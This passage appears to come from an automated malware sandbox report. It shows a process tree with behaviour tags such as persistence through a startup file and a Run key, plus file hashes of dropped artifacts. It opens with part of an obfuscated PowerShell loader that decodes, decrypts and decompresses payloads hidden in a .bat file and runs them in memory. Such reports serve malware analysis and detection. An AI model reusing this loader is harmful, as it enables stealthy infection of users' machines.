'')([byte[]]$param_var); $XpYvB=$joNGZ.EntryPoint; $XpYvB.Invoke($null, $param2_var);}$DxRwH = 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_282.bat';$host.UI.RawUI.WindowTitle = $DxRwH;$NGRKp=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($DxRwH).Split([Environment]::NewLine);foreach ($lDbVo in $NGRKp) { if ($lDbVo.StartsWith('aTooeqEeiEcbowJqPEvQ')) { $AbfNn=$lDbVo.Substring(20); break; }}$payloads_var=[string[]]$AbfNn.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "6⤵PID:4396
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden6⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Drops startup file
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1152
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C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /42⤵
- Checks SCSI registry key(s)
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:3252
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵PID:3600
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵PID:3760
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵PID:5008
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵
- Modifies data under HKEY_USERS
PID:544
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵PID:2568
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵
- Modifies data under HKEY_USERS
PID:2648
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc1⤵PID:3432
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv1⤵PID:2096
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc1⤵PID:3028
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
3KB
MD5020d1cbef5aeb22088c0faff8d76af4e
SHA193e7f27b8fb57cfea4ae330bedcace1a8ce7c014
SHA256cb283829df7f7ca2f7f8072ed014bebb7d424581e8672a9fa5683f3674726bb0
SHA5121046228ed9d08e5296c02409b5aa460e8280a633f7f2022ec7dc7c1e750522260006844bd5114ec713593bce1d10b8932963a8630e6707e76b45a0cb8c8ff53d
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Filesize
2KB
MD53ccf13786554a09feada0ddedbc8a646
SHA154d359350816173172d9a351b465207e4be88a8f
SHA256f436e158dc2fc703547bec5d5111f4a7d43b2b7bb02a16dbab812e48ce8e5ca9
SHA5126fb3d66ccc739b2a6d93b19af338b3b8cda9c3d431dc9343ccfb7c121fc7f4383aad7581e6e27f9bd482d40b970ab6a61a4365a8003a96b190a9e781b2ae91b3
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
124B
MD5a9de27838e3416cec9787b5b86c108b8
SHA133680e876dd185799148c8f74bf83ac3289cbd1b
SHA256dd4ded0fce54e5e6cc0678adf99121200ff7f4e5318ee33bc88c6b0a3cbbd469
SHA512579d39b4c623115a6ed366e2114a15923c23f641ef1904610a2c2123f0ca332f8712026adf3430323654f7749ceea8d967cb1a5fb024f71aa0b8a060804e16cc
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Filesize
3KB
MD54838ee953dab2c7a1bf57e0c6620a79d
SHA18c39cd200f9ffa77739ff686036d0449984f1323
SHA25622c798e00c4793749eac39cfb6ea3dd75112fd4453a3706e839038a64504d45d
SHA512066782b16e6e580e2861013c530d22d62c5ba0f217428cc0228ad45b855e979a86d2d04f553f3751cf7d063c6863cb7ea9c86807e7f89c7e0ae12481af65af76
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Filesize
3KB
MD58e64ab95d5d2c4c1e7a757624cb1fffa
SHA19889f93ad60bacb07683b4a23c40aa32954646d8
SHA256dff8902430dcae2fba05fc7f54157c4bc8a7445ed488c1d5727947a0c07075d6
SHA5123ecc166686c1d7d61e91ec972244118980bf626a88123b87136695ac206e159933ad9f9feb3fd565713dd5d99038f427b845637c51a57497f0ac716de3a7973c
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Filesize
3KB
MD5c6086d02f8ce044f5fa07a98303dc7eb
SHA16116247e9d098b276b476c9f4c434f55d469129c
SHA2568901d9c9aea465da4ea7aa874610a90b8cf0a71eba0e321cf9675fceee0b54a0
SHA5121876d8fc1a8ac83aadb725100ea7a1791bd62d4d0edc1b78802e0bffe458f309a66dc97e1b9da60dd52b8cb80bf471ccb5f8480e6192c9eb2a13eac36462d27a
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Filesize
3KB
MD539b9eb9d1a56bc1792c844c425bd1dec
SHA1db5a91082fa14eeb6550cbc994d34ebd95341df9
SHA256acade97e8a1d30477d0dc3fdfea70c2c617c369b56115ec708ed8a2cfdbc3692
SHA512255b1c1c456b20e6e3415540ef8af58e723f965d1fa782da44a6bbc81b43d8a31c5681777ba885f91ed2dae480bc2a4023e01fe2986857b13323f0459520eb51
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Filesize
2KB
MD54ac1741ceb19f5a983079b2c5f344f5d
SHA1f1ebd93fbade2e035cd59e970787b8042cdd0f3b
SHA2567df73f71214cdd2f2d477d6c2c65f6e4c2f5955fc669cde9c583b0ff9553ecdc
SHA512583706069a7c0b22926fa22fc7bedcca9d6750d1542a1125b688fbb0595baf6cefc76e7b6e49c1415c782a21d0dd504c78fa36efad5f29f2fd5d69cc45ad8dcd
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Filesize
2KB
MD5a9124c4c97cba8a07a8204fac1696c8e
SHA11f27d80280e03762c7b16781608786f5a98ff434
SHA2568ad3d28aeff847bc5fb8035cbc7c71e88a4ee547821a8e1a3ea6661ee6014b21
SHA512537caaa75ac1e257c6b247f9680c3b9e79156ea1bcb3f1326e969a774db33b3c906800813ca6f79369c799a62f4260c91c6dd9a6cace3af25b7dbea5a73e0392